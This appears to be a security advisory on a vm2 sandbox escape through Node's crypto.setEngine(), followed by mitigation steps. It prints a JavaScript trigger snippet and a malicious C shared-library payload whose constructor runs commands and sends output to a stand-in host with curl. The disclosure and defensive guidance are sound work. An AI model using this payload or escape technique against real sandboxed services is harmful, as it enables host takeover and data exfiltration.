Security researchers have disclosed a critical sandbox escape flaw in vm2 (tracked as CVE-2026-92939, CVSS 9.8), allowing untrusted JavaScript code executed within a NodeVM container to break free of sandbox restrictions and execute arbitrary native code on the host operating system. The vulnerability leverages the Node.js built-in crypto module, specifically exploiting unconstrained calls to crypto.setEngine() to instruct the host process to dynamically load malicious shared libraries.
Architectural Context: The Fallacy of Pure-JS Sandbox Isolation
The vm2 library was historically designed to run untrusted code within a Node.js process by wrapping JavaScript built-ins, Proxies, and V8 contexts. However, Node.js bridges the ECMAScript runtime directly to native C++ bindings for performance-critical subsystems, including networking (libuv) and cryptography (OpenSSL).
When a sandboxed script is granted access to the built-in crypto module, vm2 attempts to sanitize dangerous methods. However, the OpenSSL hardware engine initialization binding, exposed in Node.js as crypto.setEngine(engine, [flags]), was left exposed or inadequately proxied in default NodeVM configurations.
Root Cause Analysis: OpenSSL Dynamic Engine Loading
Under standard OpenSSL operations, ENGINE_by_id() and ENGINE_load_builtin_engines() allow applications to offload cryptographic computations to hardware accelerators or custom cryptographic modules implemented as shared libraries (e.g., .so on Linux, .dylib on macOS, or .dll on Windows).
In Node.js, crypto.setEngine() wraps OpenSSL's ENGINE_by_id function:
// In vulnerable vm2 sandbox execution environments:
const crypto = require('crypto');
// The attacker supplies a relative or absolute path to a malicious dynamic library
// or an engine identifier that resolves via OPENSSL_ENGINES
try {
crypto.setEngine('/tmp/payload.so', crypto.constants.ENGINE_METHOD_ALL);
} catch (err) {
// Even if OpenSSL reports an engine initialization failure,
// the OS dynamic loader (dlopen) has already executed the shared object constructor!
}
When crypto.setEngine('/tmp/payload.so') is called, the underlying C++ binding invokes:
// OpenSSL internal engine loader invoking dlopen:
void *handle = dlopen("/tmp/payload.so", RTLD_NOW | RTLD_GLOBAL);
if (!handle) {
// Error handling occurs AFTER dynamic initialization routines have already run!
}
Because the POSIX dynamic linker (ld.so) executes any function annotated with __attribute__((constructor)) immediately upon loading, malicious C code executes synchronously inside the host Node.js process before OpenSSL even evaluates whether the shared object exports a valid ENGINE table:
// Malicious dynamic library payload (payload.c):
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(void) {
// Escapes the JavaScript sandbox with the full privileges of the host Node process
system("id > /tmp/sandbox_escaped.txt; curl -s http://attacker.internal/exfil?data=$(whoami)");
}
Exploitation Prerequisites and Delivery Vectors
For an attacker to achieve full remote code execution via CVE-2026-92939, two conditions are typically met:
- Ability to execute arbitrary JavaScript in vm2: Multi-tenant SaaS platforms, low-code workflow automation tools, and online code evaluation sandboxes that execute user-supplied JavaScript without operating-system isolation.
- Shared library placement or pre-existing files: Attackers can write a small compiled shared object to a writable scratch directory (such as
/tmpor/dev/shmvia available file APIs or prior payload staging), or target existing shared libraries with constructor side effects.
| Isolation Technique | Boundary Enforcement | Vulnerability to CVE-2026-92939 | Operational Performance Overhead |
|---|---|---|---|
| vm2 (JavaScript Proxies) | In-process V8 Context & Proxies | Vulnerable (Fatal Escape) | Negligible (Same thread) |
| isolate-vm (V8 Isolates) | Separate V8 Isolate memory heap | Immune (No Node built-ins) | Very Low (<5ms instantiation) |
| Wasmtime / WASI Sandbox | WebAssembly bytecode boundary | Immune (Strict capability model) | Low (Near-native compilation) |
| gVisor / Firecracker MicroVM | Hardware virtualization / User-space kernel | Immune (Hardware hypervisor) | Moderate (50-120ms cold start) |
Defensive Playbook and Mitigation Strategy
Engineering and security operations teams must immediately take the following remediation actions:
1. Complete Deprecation of vm2
The vm2 project has officially been deprecated due to the structural impossibility of maintaining a secure boundary within the same Node.js memory space against prototype pollution, dynamic module binding, and engine-level exploits. Organizations should migrate immediately to:
- isolate-vm: Provides discrete V8 isolates that do not expose the Node.js standard library or native C++ bindings to guest code.
- WebAssembly Sandboxes (Extism / Lucet / Wasmtime): Compile user-defined logic to WASM, where file and native dynamic linking capabilities are non-existent unless explicitly bridged.
2. Immediate Runtime Hotfix (If Migration is Pending)
If an immediate migration off vm2 is impossible, patch the guest environment by completely deleting the setEngine property on the crypto prototype before initializing the sandbox:
// Hardening wrapper prior to NodeVM invocation:
const crypto = require('crypto');
if (typeof crypto.setEngine === 'function') {
delete crypto.setEngine;
Object.defineProperty(crypto, 'setEngine', {
value: undefined,
writable: false,
configurable: false
});
}
3. Filesystem Hardening (Preventing Payload Staging)
Ensure that temporary directories such as /tmp, /var/tmp, and /dev/shm are mounted with the noexec flag, preventing dlopen from loading dynamic libraries from shared storage:
# In /etc/fstab or container runtime specifications:
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0
tmpfs /dev/shm tmpfs defaults,noexec,nosuid,nodev 0 0



